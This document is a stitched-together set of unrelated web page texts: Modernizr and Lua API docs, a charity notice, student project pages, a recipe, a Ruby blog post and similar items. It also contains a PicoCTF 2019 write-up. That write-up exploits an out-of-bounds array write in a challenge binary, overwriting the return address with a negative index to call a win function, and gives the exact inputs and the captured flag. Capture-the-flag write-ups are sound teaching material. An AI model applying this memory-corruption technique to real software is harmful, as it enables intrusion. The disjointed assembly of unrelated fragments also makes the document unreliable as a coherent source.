我去过上~海,pitch=1.5
（15）
Your browser does not support the audio element.
我~去过上海, pitch=1.0


Modernizr tests which native CSS3 and HTML5 features are available in
the current UA and makes the results available to you in two ways:
as properties on a global Modernizr
object, and as classes on the
<html>
element. This information allows you to progressively enhance
your pages with a granular level of control over the experience.
Modernizr has an optional (not included) conditional resource loader
called Modernizr.load()
, based on Yepnope.js (yepnopejs.com).
To get a build that includes Modernizr.load()
, as well as choosing
which tests to include, go to www.modernizr.com/download/
Full documentation on modernizr.com/docs/
Modernizr is dual-licensed under the BSD and MIT licenses.
Run the test suite: http://modernizr.github.com/Modernizr/test/


PicoCTF 2019 - L1im1tL355
Description
Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7 on the shell server. Source.
Hint: An unbounded index can point anywhere!
Solution
Okay, what does that binary do?
$ ./vuln
Input the integer value you want to put in the array
1
Input the index in which you want to put the value
1
Mokay, pretty straight forward, we give a value and it’s put in array[index].
Time to have a look at the source code ~~
The array is defined as an array of 666 elements
int array[666];
Our value and index inputs are retrieved with scanf
:
puts("Input the integer value you want to put in the array\n");
scanf("%d",&value);
fgetc(stdin);
puts("Input the index in which you want to put the value\n");
scanf("%d",&index);
Then replaceIntegerInArrayAtIndex
will put our value in the array:
void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
array[index] = value;
}
A couple of interesting stuff to note so far:
-
index and value are both integers, which means -1 is a valid index value.
-
There is no verification on whether index is actually in the array, providing an index of 700 will write the value outside of the array.
-
=> Writing outside the array is possible, we have a write-what-where primitive
Let’s see if we can overwrite the return value…
Using a debugger, put a breakpoint on replaceIntegerInArrayAtIndex()
, let’s run it with 15 (0xf) as value and 3 as index. Going almost instructions by instructions:
-
eax = 0xffffbbe0 => eax contains the address of the array
-
ebp+0xC, storing the index (3), is multiplied by 4 (0xC) and moved to edx
-
edx = address of array (stored in ebp+0x8) + index (0xC), ie edx = 0xffffbbe0 + 0xC = 0xffffbbeC
-
ebp+0x10, storing the value (0xf) is moved to eax
-
then that value is moved at the address stored in edx with:
→ 0x804865c <replaceIntegerInArrayAtIndex+31> mov DWORD PTR [edx], eax
And after returning from replaceIntegerInArrayAtIndex, we continue our execution to:
$esp : 0xffffbbcc → 0x080486fc → <main+155> add esp, 0x10
If we can overwrite the return address stored at 0xffffbbcc, we can hijack the execution flow! To do so, we need:
array + index = 0xffffbbcc
index = 0xffffbbcc - 0xffffbbe0 = -20
index
was multiplied by 4, so we need to divide by 4 to obtain our final index value: -5
If we do a test run with:
- value: 15
- index: -5
=> EIP = 0xf, we control the execution flow /o/
To get the flag, we need to call the win
function:
void win() {
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
puts(buf);
fflush(stdout);
}
Fortunately for us, there is no PIE:
$ checksec vuln
[*] '/tmp/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The address of win
will always be the same and we can retrieve it with:
$ nm vuln | grep win
080485c6 T win
Now, let’s convert that address to decimal, as the program expects an int:
>>> 0x080485c6
134514118
Now for the flag, let’s replace our previous value of 15 with the address of the win function!
- value: 134514118
- index: -5
$ ssh<EMAIL_ADDRESS>kylma@pico-2019-shell1:~$ cd /problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7
kylma@pico-2019-shell1:/problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7$ ./vuln
Input the integer value you want to put in the array
134514118
Input the index in which you want to put the value
-5
picoCTF{str1nG_CH3353_5243a217}
Segmentation fault (core dumped)
flag: picoCTF{str1nG_CH3353_5243a217}


Class InputMangler
Maps keyboard/gamepad inputs and modifier keys/buttons to commands.
"modifiers" are keys and/or buttons held down at the same time as the main input is pressed. This allows input chords like CTRL+q to be mapped to a different command than just q.
Mapping may optionally be restricted to a named context (in other words, you can have a "game" context, a "paused" context, a "menu" context, etc., and the same key or button will return a different command depending on context).
| InputMangler:addContext (context) | Creates a new context. |
| InputMangler:delContext (context) | Deletes the named context. |
| InputMangler:addModifierKey (modifier, context) | Adds a modifier key to the specified context. |
| InputMangler:addModifierButton (modifier, context) | Adds a modifier button to the specified context. |
| InputMangler:getModifiers (context) | Returns the modifier keys and buttons that are currently being held down. |
| InputMangler:isKeyModifier (keysym, context) | Tests whether or not the given key is a modifier. |
| InputMangler:isButtonModifier (button, context) | Tests whether or not the given button is a modifier. |
| InputMangler:addKeyCommand (command, keysym, context, modifiers) | Adds a key binding to the specified context. |
| InputMangler:delKeyCommand (keysym, context, modifiers) | Removes a key binding from the specified context. |
| InputMangler:addButtonCommand (command, button, context, modifiers) | Adds a button, axis, or arbitrary binding to the specified context. |
| InputMangler:delButtonCommand (button, context, modifiers) | Removes a button, axis, or arbitrary binding from the specified context. |
| InputMangler:testButton (button, context) | Returns the command bound to the specified GamepadButton or arbitrary input, taking modifiers into account. |
| InputMangler:testKey (keysym, context) | Returns the command bound to the specified KeyConstant, taking modifiers into account. |
| InputMangler:saveBindings (filename, rawio) | Saves all bindings and modifiers to a file. |
| InputMangler:loadBindings (filename, rawio) | Loads bindings and modifiers from a file saved with the saveBindings function. |
| InputMangler:setJoystick (joystick) | Sets the gamepad to test for modifier buttons. |
- InputMangler:addContext (context)
-
Creates a new context. Warning: If there is already a context named "context", calling this will blank it.
Parameters:
- context name of the new context (string)
- InputMangler:delContext (context)
-
Deletes the named context.
Parameters:
- context name of the context to be deleted (string)
- InputMangler:addModifierKey (modifier, context)
-
Adds a modifier key to the specified context.
Note: Adding the same modifier twice won't actually break anything (just slow things down slightly when the keys are tested).
Parameters:
- modifier a KeyConstant
- context name of the context to apply this modifier to (or nil to apply it to the default context)
- InputMangler:addModifierButton (modifier, context)
-
Adds a modifier button to the specified context.
Note: Adding the same modifier twice won't actually break anything (just slow things down slightly when the keys are tested).
Parameters:
- modifier a GamepadButton
- context name of the context to apply this modifier to (or nil to apply it to the default context)
- InputMangler:getModifiers (context)
-
Returns the modifier keys and buttons that are currently being held down.
Parameters:
- context The name of an existing context (string) containing the modifier list to test.
Returns:
-
list of held modifiers (table containing a mix of KeyConstants and GampabButtons) or nil if no modifiers are being held.
- InputMangler:isKeyModifier (keysym, context)
-
Tests whether or not the given key is a modifier.
return True
Parameters:
- keysym The KeyConstant to test
- context The name of an existing context (string) to test this key in (or nil to use the default context)
- InputMangler:isButtonModifier (button, context)
-
Tests whether or not the given button is a modifier.
return True
Parameters:
- button The GamepadButton, GamepadAxis, or numeric mouse button identifier to test
- context The name of an existing context (string) to test this key in (or nil to use the default context)
- InputMangler:addKeyCommand (command, keysym, context, modifiers)
-
Adds a key binding to the specified context.
Parameters:
- command command name (string)
- keysym KeyConstant to bind the command to
- context the name of an existing context (string) to place this command in (or nil to use the default context)
- modifiers a list of modifier keys or buttons to complete the input chord (or nil for no modifiers)
- InputMangler:delKeyCommand (keysym, context, modifiers)
-
Removes a key binding from the specified context.
Parameters:
- keysym the KeyConstant to remove
- context the name of an existing context (string) to place this command in (or nil to use the default context)
- modifiers a list of modifier keys or buttons to complete the input chord (or nil for no modifiers)
- InputMangler:addButtonCommand (command, button, context, modifiers)
-
Adds a button, axis, or arbitrary binding to the specified context.
Parameters:
- command command name (string)
- button a GamepadButton or arbitrary input name (string) to bind the command to
- context the name of an existing context (string) to place this command in (or nil to use the default context)
- modifiers a list of modifier keys or buttons to complete the input chord (or nil for no modifiers)
- InputMangler:delButtonCommand (button, context, modifiers)
-
Removes a button, axis, or arbitrary binding from the specified context.
Parameters:
- button a GamepadButton or arbitrary input name (string) to remove
- context the name of an existing context (string) to place this command in (or nil to use the default context)
- modifiers a list of modifier keys or buttons to complete the input chord (or nil for no modifiers)
- InputMangler:testButton (button, context)
-
Returns the command bound to the specified GamepadButton or arbitrary input, taking modifiers into account.
Parameters:
- button a GamepadButton or arbitrary input name (string) to test
- context the name of an existing context (string) to check (or nil to use the default context)
Returns:
-
a command (string) if a mapping for the button exists in the specified context, nil if it doesn't.
- InputMangler:testKey (keysym, context)
-
Returns the command bound to the specified KeyConstant, taking modifiers into account.
Parameters:
- keysym a KeyConstant to test
- context the name of an existing context (string) to check (or nil to use the default context)
Returns:
-
a command (string) if a mapping for the key exists in the specified context, nil if it doesn't.
- InputMangler:saveBindings (filename, rawio)
-
Saves all bindings and modifiers to a file.
Parameters:
- filename the name of a file
- rawio set to true in order to bypass love.filesystem and use standard Lua io routines.
- InputMangler:loadBindings (filename, rawio)
-
Loads bindings and modifiers from a file saved with the saveBindings function. Warning: this will wipe away any
modifiers or bindings already in teh system.
Parameters:
- filename the name of a file
- rawio set to true in order to bypass love.filesystem and use standard Lua io routines.
- InputMangler:setJoystick (joystick)
-
Sets the gamepad to test for modifier buttons.
You only need to call this if you want to test a gamepad other than the one that was love.joysticks.getJoysticks[1]
when the module was initialized.
Parameters:
- joystick a love.joysticks.Joystick to test for modifier buttons, or nil to not test any


Ray White's A Little Ray of Giving campaign for Community Centre
Ray White Dungog and Clarence Town will partner with Dungog Shire Community Centre to help disadvantaged people who may need a little extra light in their festive season.
"This is the third year that we've run 'A Little Ray of Giving' and we want 2019 to be our biggest year yet," said Ray White principal Dee Braithwaite.
"We urge everyone who is able, to bring in a gift in for those families who are less fortunate."
You can drop gifts off at either Ray White Dowling Street Dungog or Grey Street Clarence Town offices until December 13.
"You don't even need to wrap up your present, just drop it into our office reception in either Dungog or Clarence Town, and we will take care of the rest," said Ray White Dungog office manager Jessica Murray.
"It's a really simple way to put a smile on the face of someone who might otherwise go without this Christmas," said Dungog Shire Community Centre manager Sarah U'Brien.
"Just a small gift can make the biggest difference to families who are struggling at an expensive time of year."
It's a really simple way to put a smile on the face of someone who might otherwise go withoutSarah U'Brien


{% extends 'base.html' %} {% load static user_tags %} {% block title %}ImPACT Notary Service - Frequently Asked Questions{% endblock %} {% block content %}
The user's Role determines their ability to create, read, update and delete various items within Notary
Service. Role's are selected from the Preferences section of the user's profile page. A user can only
operate as one role at a time. If a user has multiple roles available to them, they can switch
between the available roles to accomplish different tasks.
| Possible Roles | Privileges |
| Administrator |
Full administrative rights over notary service deployment - Can create, read, update, and delete templates - Can create, read, update, and delete datasets - Can create, read, update, and delete infrastructure - Can create, read, update, and delete projects - Can create, read, update, and delete workflows |
| Data Provider |
Can create, read, update, and delete templates Can create, read, update, and delete datasets Per project association where dataset is used - Can read templates - Can read datasets - Can read infrastructure - Can read projects - Can complete workflows |
| Infrastructure Provider |
Can create, read, update, and delete infrastructure Per project association where infrastructure is used - Can read datasets - Can read infrastructure - Can read projects - Can complete workflows |
| Institutional Governance |
Per project association where institution/organization contains PI member - Can create read datasets - Can create read infrastructure - Can create read projects - Can create complete workflows |
| Project Member |
Per project association that contains Project Member - Can read datasets - Can read infrastructure - Can read projects - Can complete workflows |
| Project PI |
Per project association that contains Project PI - Can read datasets - Can read infrastructure - Can read projects - Can complete workflows |
| Project PI Admin |
Can create, read, update, and delete projects Can create, read, update, and delete workflows Per project association that contains Project PI Admin - Can read templates - Can read datasets - Can read infrastructure - Can read projects - Can complete workflows |
| No Role | Access limited to About, FAQ and profile page |


PIZZA3001
Store Locations
Ballard
123 W Leary Way
Seattle, WA 98000
(206)123-4567
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
First Hill
1101 Boren Ave
Seattle, WA 98000
(206)890-1234
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
The International District
985 King Street
Seattle, WA 98000
(206)567-8901
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
South Lake Union
604 Fariview Ave
Seattle, WA 98000
(206)234-5678
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
Georgetown
3105 Michigan Street S
Seattle, WA 98000
(206)901-2345
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
Ravenna
2117 65th Ave NE
Seattle, WA 98000
(206)678-9012
Store Hours: Tuesday - Sunday 8:00 AM to 2:00 AM. Closed Mondays
happy pizza deliveries this week!


|
| | Cake (std::string name, float price, CakeCategory category=CakeCategory::GENERAL) |
| | Creates a new Cake object. More...
|
| |
| std::string | getCategory () const override |
| | Get cake category string. More...
|
| |
| | Product (std::string name, float price) |
| | Creates a new Product object. More...
|
| |
| bool | operator== (const Product &rhs) const |
| | Two products are equal if their names and categories are equal. More...
|
| |
| bool | operator< (const Product &rhs) const |
| | One product is less than the other if it was included less times in orders, and then if the category comes before alphabetically, then if the name comes before alphabetically. More...
|
| |
| unsigned | getTimesIncluded () const |
| | Get the total times this product was included in orders (the included quantity is irrelevant; a order appearance is always one inclusion) More...
|
| |
|
void | addInclusion () |
| | Signal a new order inclusion.
|
| |
|
void | removeInclusion () |
| | Signal a new order removal.
|
| |
| std::string | getName () const |
| | Gets the product name. More...
|
| |
| float | getPrice () const |
| | Gets the product price. More...
|
| |
| void | print (std::ostream &os, bool showInclusions=false) const |
| | Prints all the product data. More...
|
| |
The class relative to a specific type of products: cake.


Gnocchi
Gnocchi is a pasta based on potato, making it a less bloating alternative to other kinds of pasta.
They are substantial and can be roasted in butter and other ingredients.
Ingredients
- potatoes
- flour
- tomato
- parmesan
- butter
- sage or oregano or thyme
Directions
- Boil potatoes (with their skins) until mashable.
- Slice potatoes in two and scoop them out of their skin.
- Mash with a potato-masher while adding kosher salt.
- Slowly begin to add flour while mashing and kneading until there are no lumps of potato and the potato/flour mixture takes on a dough-like consistency.
- Begin to boil more water with lots of kosher salt added.
- Flour a work surface, pinch off some of the dough and roll it on the surface into a long chubby snake.
- Slice the dough snake into small pieces. Press the pieces with your finger to make an indentation.
- Add the pieces to the boiling water. They will rise to the top when they are ready.
- In a pan, melt butter and add sprigs of sage (oregano or thyme will work as well, albeit are less traditional). Smashed tomato juices are also a nice addition.
- Add the cooked gnocchi to the pan and roast them in butter for a minute or two until slightly browned. As pan begins to dry, add some pasta water.
- Serve gnocchi on a plate, grate on Parmigiano-Reggiano cheese liberally. Add garnish if desired.
Contribution
Recipe tags:
italian
potato
side
fasting


Globally Excluded URLs are a set of Regular Expressions (regex) that ZAP ignores completely throughout the application. These URLs will not show up in the Proxy, Scanner, or Spider for ZAP. In addition, the URL regexs will be saved in the global configuration for ZAP and not inside of the session file. These URLs will persist between each use of ZAP.
The regex for URLs are configured using the Global Exclude URL screen in the ZAP Options.
| UI Overview | Para una vista general sobre la interfaz de usuario | |
| Caracteristicas | proporcionado por ZAP |


Long String
The string is not long enough!
The long string is not included in the list!
Long Lowercase String
The string is not long enough!
This MUST be LOWERCASE!!!
Weird String
Something is wrong here!
Validate


Every application starts out with what seems like a simple task: get data, transform them, and show them to users. Getting data could be as simple as creating a local variable or as complex as streaming data over a Websocket.
A pipe takes in data as input and transforms it to a desired output.
Import the [CovalentCommonModule] in your NgModule:
The digits
pipe takes a number and converts the output to an appropriate numerical measurement with an optional precision
argument.
Converted: {{ log.digits | digits }}
With precision argument: {{ log.digits | digits:log.precision }}
Usage:
Converted: { { log.digits | digits } }
With precision argument: { { log.digits | digits:log.precision } }
The bytes
pipe takes a number and converts the output to an appropriate data measurement with an optional precision
argument.
Converted: {{ log.bytes | bytes }}
With precision argument: {{ log.bytes | bytes:log.precision }}
Usage:
Converted: { { log.bytes | bytes } }
With precision argument: { { log.bytes | bytes:log.precision } }
The timeAgo
pipe takes a string, number or Date timestamp (example: 2016-01-29T17:59:59.000Z
) and tranforms it to the amount of time that has gone by.
Reference: {{ log.reference }}
Usage:
The timeDifference
pipe outputs the difference between two times. Strings, Numbers or Date timestamps are acceptable types. (example: 2016-01-29T17:59:59.000Z
).
Difference: {{ log.timestamp | timeDifference:log.timestampend }}
Difference relative to current time: {{ log.timestamp | timeDifference }}
Note: Using this pipe without arguments outputs the time difference relative to the current time.
Usage:
Difference: { { log.timestamp | timeDifference:log.timestampend } }
Difference relative to current time: { { log.timestamp | timeDifference } }
The truncate
pipe limits a string to a specified length
and adds an ellipsis.
{{ log.text_value }}
Truncate with a length value of {{ log.truncate_length }}
: {{ log.text_value | truncate:log.truncate_length }}
Usage:
{ { log.text_value } }
Truncate with a length value of { { log.truncate_length } }
: { { log.text_value | truncate:log.truncate_length } }
Note: If the last character in a returned output is a space, then that space is removed.


Learning Outcomes
- Create a properly structured web page (HTML5)
- Represent the Document Object Model (DOM)
- Recognize browser compatibility with standards.
- Style a web page (CSS3)
- Create page layouts using media queries.
- Publish a web page on the internet.
- Explain how web servers display web pages.
- Secure a web page.
- Logically layout a web space.
- Design forms that use major controls and form handling logic.
Create Use simple client-side scripts with JavaScript.
SYST10049 Web Development
@2021-2022 Sheridan College
Midterm
- Written during regularly scheduled class in Week 7
- Covers all material from Weeks 1 through 6.
- Be prepared to demonstrate your mastery
- of the learning outcomes 1, 2, 3, 6, 7, 8, 9, and 10 in the Course Outline (reprinted on previous slide).
- by answering questions in form of multiple-choice (MC), true-false (F/T), multiple-select (MS), fill-in-blanks (FIB), written answers, and coding answers.
SYST10049 Web Development
@2021-2022 Sheridan College
...
SYST10949 Web Development
@2021-2022 Sheridan College


CHRISTOPHER HUI
9/25/2014
4:56 PM
You may or may not have caught that cheesy pun in the title, but we will be talking about the use of classes in Ruby. I will be explaining when, why, and how to use classes in Ruby. From there, I will present an example that will show how data structures and classes can model a real-world object.
Classes are a type of object within Ruby. Class objects are used to store information into a convenient bundle. You can create a class by prefixing the object name with class, e.g. "class Dog”. When you create a class, you are able to package together methods conveniently. For example, if you wanted to create an object that is a dog, you could bundle together methods that represent different dog characteristics into a class. Generally speaking, a class consists of a collection of methods.
Instance Variables are commonly used within classes. Instance variables are denoted with the prefix “@“. Instance variables are commonly used within class objects because the variable is shared across the entire class. Local variables are only available within the method that it is defined in. Instance variables can be called upon by different methods, as long as they are within the same class. The scope of the instance variable is what separates it from local variables.
Don’t worry if you’re still confused. I tend to learn better looking at examples rather than by reading plain text. So let’s go ahead and look at an example!
This is a piece of code that was used for for one of my challenges during Phase 0 of Dev Bootcamp. With that said, My line of code probably isn’t that good, but it’s intent is to show how classes and instance variables work. So don’t be too critical of my code, please!
As you probably noticed, I have a class called “BoggleBoard” and four methods nested within that class. I have these four methods nested under the class “BoggleBoard” because they are all related and have relevant information to the Boggle Board. The method “initialize" takes the two arguments “rol” and “col”. There arguments will represent the rows and columns in the boggle board. Underneath that, I created instance variables of “row”, “col”, and “boggle_board" so that those variables can be accessed by the other three methods in the class. The second method “get_row” serves the purpose of grabbing the letters in a particular row. The third method “get_col” serves the purpose of grabbing the letters in a particular column. The fourth method “print_board” serves the purpose of printing out the entire boggle board. Each of these methods use at least one of the instance variables defined earlier.
This is all the time I have now to cover this topic. Hopefully sometime in the future I can go into further detail about these topics. I hope this little blog post clears up any confusion you had previously. As I have mentioned before, I tend to learn better by reading examples and implementing these topics in my own code. With that said, go ahead and try to create classes and instance variables!


Jan Clark v Mary Richards
Claim number: 352MC733
The defendant has rejected your claim
Mary Richards said they dispute your claim. The claim has been automatically registered for free telephone mediation.
If you reject their response, we'll contact you with an appointment unless you choose to opt out of mediation.
The claim won't proceed if you don't respond before 26 January 2019.
Download their response (PDF, 123KB)
Download their proposed hearing requirements (PDF, 132KB)
You submitted your claim
All documents
- From the court
- From the defendant
- Your uploads


Mary
Content Strategist
Tryin' Real Hard Over Here
Just waiting to hit that ceiling.
Here's what I can do already
I strategize the content. Occasionally.
HTML
Content audits
Premium content
Hit me up
You know
where to find me
.


Learn Spanish faster with Bazilinga
Bazilinga is a fast and fun way to learn Spanish language. Its content was optimized to reduce repetitions and accelerate learning space. While you complete each challenge, we measure your language skills and customize the followup content accordingly to speed up your progress even more.
How does it work?
Learning curve, meticulously optimized
with collected users statistics will speed up progress.
Clear metric for language comprehension
and vocabulary will show exactly how much you’ve learned at each step.
Individually generated content based on
history of your learning will tailor learning experience for you.
Real people and their real comments
It was simple and I learned the process in my own pace.
I would recommended to a friend!
It was simple and I learned the process in my own pace.
I would recommended to a friend!
It was simple and I learned the process in my own pace.
I would recommended to a friend!
It was simple and I learned the process in my own pace.
I would recommended to a friend!


The Archimedes Number - Numberphile Archimedes's famous Cattle Problem had a truly epic solution. Featuring Alex Bellos. More links & stuff in full description below ↓↓↓ Alex Bellos: http://www.alexbellos.com More Alex videos on Numberphile: http://bit.ly/Bellos_Playlist So You Think You...
ctrl-alt-d/FlappyBlazorBird FlapPyBird transcoded to Blazor. Contribute to ctrl-alt-d/FlappyBlazorBird development by creating an account on GitHub.
Why IVPN - What makes IVPN the best privacy protection service Not all VPN services put your privacy first, but IVPN’s only focus is providing protection for your private data. Learn who we are and what we stand for.
dotnet/efcore EF Core is a modern object-database mapper for .NET. It supports LINQ queries, change tracking, updates, and schema migrations. - dotnet/efcore


Salmon Cookie
Our Locations
Now you can check out where are our shops at and information
Get Directions
Address: 1014 Madison St
Seattle, WA 98104
Phone number: 999-999-999
Working Hours: 7Am - 8PM
Get Directions
Address: 1014 Madison St
Tokyo, WA 98104
Phone number: 999-999-999
Working Hours: 7Am - 8PM
Get Directions
Address: 1014 Madison St
Dubai, WA 98104
Phone number: 999-999-999
Working Hours: 7Am - 8PM
Get Directions
Address: 1014 Madison St
Paris, WA 98104
Phone number: 999-999-999
Working Hours: 7Am - 8PM
Get Directions
Address: 1014 Madison St
Lima, WA 98104
Phone number: 999-999-999
Working Hours: 7Am - 8PM
We Enjoy it!
We have got this recipe from our grandmother, she used to create Salmon Cookies since I was a kid, where she got it from her mother, and at family gatherings we started to help her out enjoying our good times, and suddenly we came up with the idea of sharing the fun and love with other people, so we made our first shop here at Seattle, and then people from all over the world came to visit us enjoying every bite of it! And once my Japanese friend suggested to open a branch at Tokyo so I broke a leg and year after year I found myself opening 5 branches until now! And now we are looking forward to open more and more to share our beloved family soul with the world.